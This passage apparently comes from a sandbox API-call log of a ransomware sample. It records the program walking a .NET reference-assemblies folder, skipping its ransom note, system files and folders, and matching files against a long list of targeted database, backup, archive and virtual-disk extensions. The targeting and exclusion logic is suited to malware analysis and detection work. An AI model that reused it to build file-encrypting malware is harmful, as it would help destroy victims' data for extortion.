	[0062.459] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0062.459] lstrlenW (lpString="rpd") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0062.460] lstrlenW (lpString="rsd") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0062.460] lstrlenW (lpString="sas7bdat") returned 8
	[0062.460] lstrcmpiW (lpString1="asks.dll", lpString2="sas7bdat") returned -1
	[0062.460] lstrlenW (lpString="sbf") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0062.460] lstrlenW (lpString="scx") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0062.460] lstrlenW (lpString="sdb") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0062.460] lstrlenW (lpString="sdc") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0062.460] lstrlenW (lpString="sdf") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0062.460] lstrlenW (lpString="sis") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0062.460] lstrlenW (lpString="spq") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0062.460] lstrlenW (lpString="te") returned 2
	[0062.460] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0062.460] lstrlenW (lpString="teacher") returned 7
	[0062.460] lstrcmpiW (lpString1="sks.dll", lpString2="teacher") returned -1
	[0062.460] lstrlenW (lpString="tmd") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0062.460] lstrlenW (lpString="tps") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0062.460] lstrlenW (lpString="trc") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0062.460] lstrlenW (lpString="trc") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0062.460] lstrlenW (lpString="trm") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0062.460] lstrlenW (lpString="udb") returned 3
	[0062.460] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0062.460] lstrlenW (lpString="udl") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0062.461] lstrlenW (lpString="usr") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0062.461] lstrlenW (lpString="v12") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0062.461] lstrlenW (lpString="vis") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0062.461] lstrlenW (lpString="vpd") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0062.461] lstrlenW (lpString="vvv") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0062.461] lstrlenW (lpString="wdb") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0062.461] lstrlenW (lpString="wmdb") returned 4
	[0062.461] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0062.461] lstrlenW (lpString="wrk") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0062.461] lstrlenW (lpString="xdb") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0062.461] lstrlenW (lpString="xld") returned 3
	[0062.461] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0062.461] lstrlenW (lpString="xmlff") returned 5
	[0062.461] lstrcmpiW (lpString1="s.dll", lpString2="xmlff") returned -1
	[0062.461] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99757ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1
	[0062.461] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.461] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.461] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".") returned 1
	[0062.461] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="..") returned 1
	[0062.461] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="windows") returned -1
	[0062.461] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="bootmgr") returned 1
	[0062.461] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="temp") returned -1
	[0062.461] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="pagefile.sys") returned 1
	[0062.461] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="boot") returned 1
	[0062.462] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="ids.txt") returned 1
	[0062.462] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="ntuser.dat") returned 1
	[0062.462] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="perflogs") returned 1
	[0062.462] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="MSBuild") returned 1
	[0062.462] lstrlenW (lpString="PresentationCore.dll") returned 20
	[0062.462] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationBuildTasks.dll") returned 89
	[0062.462] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PresentationCore.dll" | out: lpString1="PresentationCore.dll") returned="PresentationCore.dll"
	[0062.462] lstrlenW (lpString="PresentationCore.dll") returned 20
	[0062.462] lstrlenW (lpString="Apollon865") returned 10
	[0062.462] lstrcmpiW (lpString1="onCore.dll", lpString2="Apollon865") returned 1
	[0062.462] lstrlenW (lpString=".dll") returned 4
	[0062.462] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".dll") returned 1
	[0062.462] lstrlenW (lpString=".lnk") returned 4
	[0062.462] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".lnk") returned 1
	[0062.462] lstrlenW (lpString=".ini") returned 4
	[0062.462] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".ini") returned 1
	[0062.462] lstrlenW (lpString=".sys") returned 4
	[0062.462] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".sys") returned 1
	[0062.462] lstrlenW (lpString="PresentationCore.dll") returned 20
	[0062.462] lstrlenW (lpString="bak") returned 3
	[0062.462] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0062.462] lstrlenW (lpString="ba_") returned 3
	[0062.462] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0062.462] lstrlenW (lpString="dbb") returned 3
	[0062.462] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0062.462] lstrlenW (lpString="vmdk") returned 4
	[0062.462] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0062.462] lstrlenW (lpString="rar") returned 3
	[0062.462] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0062.462] lstrlenW (lpString="zip") returned 3
	[0062.462] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0062.462] lstrlenW (lpString="tgz") returned 3
	[0062.462] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0062.463] lstrlenW (lpString="vbox") returned 4
	[0062.463] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0062.463] lstrlenW (lpString="vdi") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0062.463] lstrlenW (lpString="vhd") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0062.463] lstrlenW (lpString="vhdx") returned 4
	[0062.463] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0062.463] lstrlenW (lpString="avhd") returned 4
	[0062.463] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0062.463] lstrlenW (lpString="db") returned 2
	[0062.463] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0062.463] lstrlenW (lpString="db2") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0062.463] lstrlenW (lpString="db3") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0062.463] lstrlenW (lpString="dbf") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0062.463] lstrlenW (lpString="mdf") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0062.463] lstrlenW (lpString="mdb") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0062.463] lstrlenW (lpString="sql") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0062.463] lstrlenW (lpString="sqlite") returned 6
	[0062.463] lstrcmpiW (lpString1="re.dll", lpString2="sqlite") returned -1
	[0062.463] lstrlenW (lpString="sqlite3") returned 7
	[0062.463] lstrcmpiW (lpString1="ore.dll", lpString2="sqlite3") returned -1
	[0062.463] lstrlenW (lpString="sqlitedb") returned 8
	[0062.463] lstrcmpiW (lpString1="Core.dll", lpString2="sqlitedb") returned -1
	[0062.463] lstrlenW (lpString="xml") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0062.463] lstrlenW (lpString="$er") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0062.463] lstrlenW (lpString="4dd") returned 3
	[0062.463] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0062.464] lstrlenW (lpString="4dl") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0062.464] lstrlenW (lpString="^^^") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0062.464] lstrlenW (lpString="abs") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0062.464] lstrlenW (lpString="abx") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0062.464] lstrlenW (lpString="accdb") returned 5
	[0062.464] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1
	[0062.464] lstrlenW (lpString="accdc") returned 5
	[0062.464] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1
	[0062.464] lstrlenW (lpString="accde") returned 5
	[0062.464] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1
	[0062.464] lstrlenW (lpString="accdr") returned 5
	[0062.464] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1
	[0062.464] lstrlenW (lpString="accdt") returned 5
	[0062.464] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1
	[0062.464] lstrlenW (lpString="accdw") returned 5
	[0062.464] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1
	[0062.464] lstrlenW (lpString="accft") returned 5
	[0062.464] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1
	[0062.464] lstrlenW (lpString="adb") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0062.464] lstrlenW (lpString="adb") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0062.464] lstrlenW (lpString="ade") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0062.464] lstrlenW (lpString="adf") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0062.464] lstrlenW (lpString="adn") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0062.464] lstrlenW (lpString="adp") returned 3
	[0062.464] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0062.464] lstrlenW (lpString="alf") returned 3
	[0062.465] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0062.465] lstrlenW (lpString="ask") returned 3
	[0062.465] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0062.465] lstrlenW (lpString="btr") returned 3
	[0062.465] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0062.465] lstrlenW (lpString="cat") returned 3
	[0062.465] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0062.465] lstrlenW (lpString="cdb") returned 3
	[0062.465] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0062.465] lstrlenW (lpString="ckp") returned 3
	[0062.465] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0062.465] lstrlenW (lpString="cma") returned 3
	[0062.482] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0062.482] lstrlenW (lpString="cpd") returned 3
	[0062.483] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0062.483] lstrlenW (lpString="dacpac") returned 6
	[0062.483] lstrcmpiW (lpString1="re.dll", lpString2="dacpac") returned 1
	[0062.483] lstrlenW (lpString="dad") returned 3
	[0062.483] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0062.483] lstrlenW (lpString="dadiagrams") returned 10
	[0062.484] lstrcmpiW (lpString1="onCore.dll", lpString2="dadiagrams") returned 1
	[0062.484] lstrlenW (lpString="daschema") returned 8
	[0062.484] lstrcmpiW (lpString1="Core.dll", lpString2="daschema") returned -1
	[0062.484] lstrlenW (lpString="db-journal") returned 10
	[0062.484] lstrcmpiW (lpString1="onCore.dll", lpString2="db-journal") returned 1
	[0062.484] lstrlenW (lpString="db-shm") returned 6
	[0062.484] lstrcmpiW (lpString1="re.dll", lpString2="db-shm") returned 1
	[0062.484] lstrlenW (lpString="db-wal") returned 6
	[0062.484] lstrcmpiW (lpString1="re.dll", lpString2="db-wal") returned 1
	[0062.484] lstrlenW (lpString="dbc") returned 3
	[0062.484] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0062.484] lstrlenW (lpString="dbs") returned 3
	[0062.484] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0062.484] lstrlenW (lpString="dbt") returned 3
	[0062.484] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0062.484] lstrlenW (lpString="dbv") returned 3
	[0062.484] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0062.484] lstrlenW (lpString="dbx") returned 3
	[0062.484] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0062.484] lstrlenW (lpString="dcb") returned 3
	[0062.484] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0062.484] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PresentationFramework.Aero.dll" | out: lpString1="PresentationFramework.Aero.dll") returned="PresentationFramework.Aero.dll"
	[0062.484] lstrlenW (lpString="PresentationFramework.Aero.dll") returned 30
	[0062.484] lstrlenW (lpString="Apollon865") returned 10
	[0062.484] lstrcmpiW (lpString1="k.Aero.dll", lpString2="Apollon865") returned 1
	[0062.484] lstrlenW (lpString=".dll") returned 4
	[0062.484] lstrcmpiW (lpString1="PresentationFramework.Aero.dll", lpString2=".dll") returned 1
	[0062.484] lstrlenW (lpString=".lnk") returned 4
	[0062.484] lstrcmpiW (lpString1="PresentationFramework.Aero.dll", lpString2=".lnk") returned 1
	[0062.484] lstrlenW (lpString=".ini") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.Aero.dll", lpString2=".ini") returned 1
	[0062.485] lstrlenW (lpString=".sys") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.Aero.dll", lpString2=".sys") returned 1
	[0062.485] lstrlenW (lpString="PresentationFramework.Aero.dll") returned 30
	[0062.485] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PresentationFramework.Classic.dll" | out: lpString1="PresentationFramework.Classic.dll") returned="PresentationFramework.Classic.dll"
	[0062.485] lstrlenW (lpString="PresentationFramework.Classic.dll") returned 33
	[0062.485] lstrlenW (lpString="Apollon865") returned 10
	[0062.485] lstrcmpiW (lpString1="lassic.dll", lpString2="Apollon865") returned 1
	[0062.485] lstrlenW (lpString=".dll") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.Classic.dll", lpString2=".dll") returned 1
	[0062.485] lstrlenW (lpString=".lnk") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.Classic.dll", lpString2=".lnk") returned 1
	[0062.485] lstrlenW (lpString=".ini") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.Classic.dll", lpString2=".ini") returned 1
	[0062.485] lstrlenW (lpString=".sys") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.Classic.dll", lpString2=".sys") returned 1
	[0062.485] lstrlenW (lpString="PresentationFramework.Classic.dll") returned 33
	[0062.485] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PresentationFramework.dll" | out: lpString1="PresentationFramework.dll") returned="PresentationFramework.dll"
	[0062.485] lstrlenW (lpString="PresentationFramework.dll") returned 25
	[0062.485] lstrlenW (lpString="Apollon865") returned 10
	[0062.485] lstrcmpiW (lpString1="mework.dll", lpString2="Apollon865") returned 1
	[0062.485] lstrlenW (lpString=".dll") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.dll", lpString2=".dll") returned 1
	[0062.485] lstrlenW (lpString=".lnk") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.dll", lpString2=".lnk") returned 1
	[0062.485] lstrlenW (lpString=".ini") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.dll", lpString2=".ini") returned 1
	[0062.485] lstrlenW (lpString=".sys") returned 4
	[0062.485] lstrcmpiW (lpString1="PresentationFramework.dll", lpString2=".sys") returned 1
	[0062.485] lstrlenW (lpString="PresentationFramework.dll") returned 25
	[0062.486] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PresentationFramework.Luna.dll" | out: lpString1="PresentationFramework.Luna.dll") returned="PresentationFramework.Luna.dll"
	[0062.486] lstrlenW (lpString="PresentationFramework.Luna.dll") returned 30
	[0062.486] lstrlenW (lpString="Apollon865") returned 10
	[0062.486] lstrcmpiW (lpString1="k.Luna.dll", lpString2="Apollon865") returned 1
	[0062.486] lstrlenW (lpString=".dll") returned 4
	[0062.486] lstrcmpiW (lpString1="PresentationFramework.Luna.dll", lpString2=".dll") returned 1
	[0062.486] lstrlenW (lpString=".lnk") returned 4
	[0062.486] lstrcmpiW (lpString1="PresentationFramework.Luna.dll", lpString2=".lnk") returned 1
	[0062.486] lstrlenW (lpString=".ini") returned 4
	[0062.486] lstrcmpiW (lpString1="PresentationFramework.Luna.dll", lpString2=".ini") returned 1
	[0062.486] lstrlenW (lpString=".sys") returned 4
	[0062.486] lstrcmpiW (lpString1="PresentationFramework.Luna.dll", lpString2=".sys") returned 1
	[0062.486] lstrlenW (lpString="PresentationFramework.Luna.dll") returned 30
	[0062.486] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PresentationFramework.Royale.dll" | out: lpString1="PresentationFramework.Royale.dll") returned="PresentationFramework.Royale.dll"
	[0062.486] lstrlenW (lpString="PresentationFramework.Royale.dll") returned 32
	[0062.486] lstrlenW (lpString="Apollon865") returned 10
	[0062.486] lstrcmpiW (lpString1="Royale.dll", lpString2="Apollon865") returned 1
	[0062.486] lstrlenW (lpString=".dll") returned 4
	[0062.486] lstrcmpiW (lpString1="PresentationFramework.Royale.dll", lpString2=".dll") returned 1
	[0062.486] lstrlenW (lpString=".lnk") returned 4
	[0062.486] lstrcmpiW (lpString1="PresentationFramework.Royale.dll", lpString2=".lnk") returned 1
	[0062.486] lstrlenW (lpString=".ini") returned 4
	[0062.486] lstrcmpiW (lpString1="PresentationFramework.Royale.dll", lpString2=".ini") returned 1
	[0062.486] lstrlenW (lpString=".sys") returned 4
	[0062.486] lstrcmpiW (lpString1="PresentationFramework.Royale.dll", lpString2=".sys") returned 1
	[0062.486] lstrlenW (lpString="PresentationFramework.Royale.dll") returned 32
	[0062.486] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ReachFramework.dll" | out: lpString1="ReachFramework.dll") returned="ReachFramework.dll"
	[0062.486] lstrlenW (lpString="ReachFramework.dll") returned 18
	[0062.486] lstrlenW (lpString="Apollon865") returned 10
	[0062.486] lstrcmpiW (lpString1="mework.dll", lpString2="Apollon865") returned 1
	[0062.487] lstrlenW (lpString=".dll") returned 4
	[0062.487] lstrcmpiW (lpString1="ReachFramework.dll", lpString2=".dll") returned 1
	[0062.487] lstrlenW (lpString=".lnk") returned 4
	[0062.487] lstrcmpiW (lpString1="ReachFramework.dll", lpString2=".lnk") returned 1
	[0062.487] lstrlenW (lpString=".ini") returned 4
	[0062.487] lstrcmpiW (lpString1="ReachFramework.dll", lpString2=".ini") returned 1
	[0062.487] lstrlenW (lpString=".sys") returned 4
	[0062.487] lstrcmpiW (lpString1="ReachFramework.dll", lpString2=".sys") returned 1
	[0062.487] lstrlenW (lpString="ReachFramework.dll") returned 18
	[0062.487] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="RedistList" | out: lpString1="RedistList") returned="RedistList"
	[0062.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0062.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0062.487] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0062.487] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="..") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="windows") returned -1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="bootmgr") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="temp") returned -1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="pagefile.sys") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="boot") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="ids.txt") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="ntuser.dat") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="perflogs") returned 1
	[0062.487] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="MSBuild") returned 1
	[0062.487] lstrlenW (lpString="System.IdentityModel.dll") returned 24
	[0062.487] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned 73
	[0062.487] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.IdentityModel.dll" | out: lpString1="System.IdentityModel.dll") returned="System.IdentityModel.dll"
	[0062.487] lstrlenW (lpString="System.IdentityModel.dll") returned 24
	[0062.487] lstrlenW (lpString="Apollon865") returned 10
	[0062.488] lstrcmpiW (lpString1="yModel.dll", lpString2="Apollon865") returned 1
	[0062.488] lstrlenW (lpString=".dll") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".dll") returned 1
	[0062.488] lstrlenW (lpString=".lnk") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".lnk") returned 1
	[0062.488] lstrlenW (lpString=".ini") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".ini") returned 1
	[0062.488] lstrlenW (lpString=".sys") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".sys") returned 1
	[0062.488] lstrlenW (lpString="System.IdentityModel.dll") returned 24
	[0062.488] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.IdentityModel.Selectors.dll" | out: lpString1="System.IdentityModel.Selectors.dll") returned="System.IdentityModel.Selectors.dll"
	[0062.488] lstrlenW (lpString="System.IdentityModel.Selectors.dll") returned 34
	[0062.488] lstrlenW (lpString="Apollon865") returned 10
	[0062.488] lstrcmpiW (lpString1="ectors.dll", lpString2="Apollon865") returned 1
	[0062.488] lstrlenW (lpString=".dll") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IdentityModel.Selectors.dll", lpString2=".dll") returned 1
	[0062.488] lstrlenW (lpString=".lnk") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IdentityModel.Selectors.dll", lpString2=".lnk") returned 1
	[0062.488] lstrlenW (lpString=".ini") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IdentityModel.Selectors.dll", lpString2=".ini") returned 1
	[0062.488] lstrlenW (lpString=".sys") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IdentityModel.Selectors.dll", lpString2=".sys") returned 1
	[0062.488] lstrlenW (lpString="System.IdentityModel.Selectors.dll") returned 34
	[0062.488] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.IO.Log.dll" | out: lpString1="System.IO.Log.dll") returned="System.IO.Log.dll"
	[0062.488] lstrlenW (lpString="System.IO.Log.dll") returned 17
	[0062.488] lstrlenW (lpString="Apollon865") returned 10
	[0062.488] lstrcmpiW (lpString1="IO.Log.dll", lpString2="Apollon865") returned 1
	[0062.488] lstrlenW (lpString=".dll") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IO.Log.dll", lpString2=".dll") returned 1
	[0062.488] lstrlenW (lpString=".lnk") returned 4
	[0062.488] lstrcmpiW (lpString1="System.IO.Log.dll", lpString2=".lnk") returned 1
	[0062.489] lstrlenW (lpString=".ini") returned 4
	[0062.489] lstrcmpiW (lpString1="System.IO.Log.dll", lpString2=".ini") returned 1
	[0062.489] lstrlenW (lpString=".sys") returned 4
	[0062.489] lstrcmpiW (lpString1="System.IO.Log.dll", lpString2=".sys") returned 1
	[0062.489] lstrlenW (lpString="System.IO.Log.dll") returned 17
	[0062.489] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Printing.dll" | out: lpString1="System.Printing.dll") returned="System.Printing.dll"
	[0062.489] lstrlenW (lpString="System.Printing.dll") returned 19
	[0062.489] lstrlenW (lpString="Apollon865") returned 10
	[0062.489] lstrcmpiW (lpString1="inting.dll", lpString2="Apollon865") returned 1
	[0062.489] lstrlenW (lpString=".dll") returned 4
	[0062.489] lstrcmpiW (lpString1="System.Printing.dll", lpString2=".dll") returned 1
	[0062.489] lstrlenW (lpString=".lnk") returned 4
	[0062.489] lstrcmpiW (lpString1="System.Printing.dll", lpString2=".lnk") returned 1
	[0062.489] lstrlenW (lpString=".ini") returned 4
	[0062.489] lstrcmpiW (lpString1="System.Printing.dll", lpString2=".ini") returned 1
	[0062.489] lstrlenW (lpString=".sys") returned 4
	[0062.489] lstrcmpiW (lpString1="System.Printing.dll", lpString2=".sys") returned 1
	[0062.489] lstrlenW (lpString="System.Printing.dll") returned 19
	[0062.489] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Runtime.Serialization.dll" | out: lpString1="System.Runtime.Serialization.dll") returned="System.Runtime.Serialization.dll"
	[0062.489] lstrlenW (lpString="System.Runtime.Serialization.dll") returned 32
	[0062.489] lstrlenW (lpString="Apollon865") returned 10
	[0062.489] lstrcmpiW (lpString1="zation.dll", lpString2="Apollon865") returned 1
	[0062.489] lstrlenW (lpString=".dll") returned 4
	[0062.489] lstrcmpiW (lpString1="System.Runtime.Serialization.dll", lpString2=".dll") returned 1
	[0062.489] lstrlenW (lpString=".lnk") returned 4
	[0062.489] lstrcmpiW (lpString1="System.Runtime.Serialization.dll", lpString2=".lnk") returned 1
	[0062.489] lstrlenW (lpString=".ini") returned 4
	[0062.489] lstrcmpiW (lpString1="System.Runtime.Serialization.dll", lpString2=".ini") returned 1
	[0062.489] lstrlenW (lpString=".sys") returned 4
	[0062.490] lstrcmpiW (lpString1="System.Runtime.Serialization.dll", lpString2=".sys") returned 1
	[0062.490] lstrlenW (lpString="System.Runtime.Serialization.dll") returned 32
	[0062.490] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.ServiceModel.dll" | out: lpString1="System.ServiceModel.dll") returned="System.ServiceModel.dll"
